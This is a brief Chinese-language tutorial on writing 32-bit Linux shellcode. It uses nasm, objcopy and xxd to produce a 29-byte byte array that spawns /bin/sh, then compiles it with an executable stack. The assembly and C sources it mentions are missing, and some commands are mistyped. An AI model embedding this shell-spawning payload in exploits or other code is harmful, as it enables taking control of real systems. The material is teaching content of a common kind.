Linux-shellcode编写
一、在Vim下编辑shellcode.asm文件输入以后代码
二、利用nasm工具编译成.o文件,得到shell.o文件
nasmshellcode.asm –o shell.o –felf32
三、通过objcopy提取出来shellcode,使用xdd –i 来查看shellcode
objcopy -O binary shell.o code
xdd –i code 得到C语言的形式
unsignedchar code[] = {
0xeb, 0x0f, 0x5b, 0xc6, 0x43, 0x07, 0x00,0x31, 0xc0, 0xb0, 0x0b, 0x31,
0xc9, 0x31, 0xd2, 0xcd, 0x80, 0xe8, 0xec,0xff, 0xff, 0xff, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x73, 0x68
};
unsignedint code_len = 29
或者是xdd code能直观的看见/bin/sh
四、正式开始编写shellcode
首先把 xxd –i code > code.h 在新建.c文件往里面写入:
code.h文件是你(xdd –i 文件> h文件) 之后要保存的名字,code是你(xdd –i code)的文件利用 gcc shellcode.c -o shellcode -m32 –zexecstack
成功得到一个自己shellcode: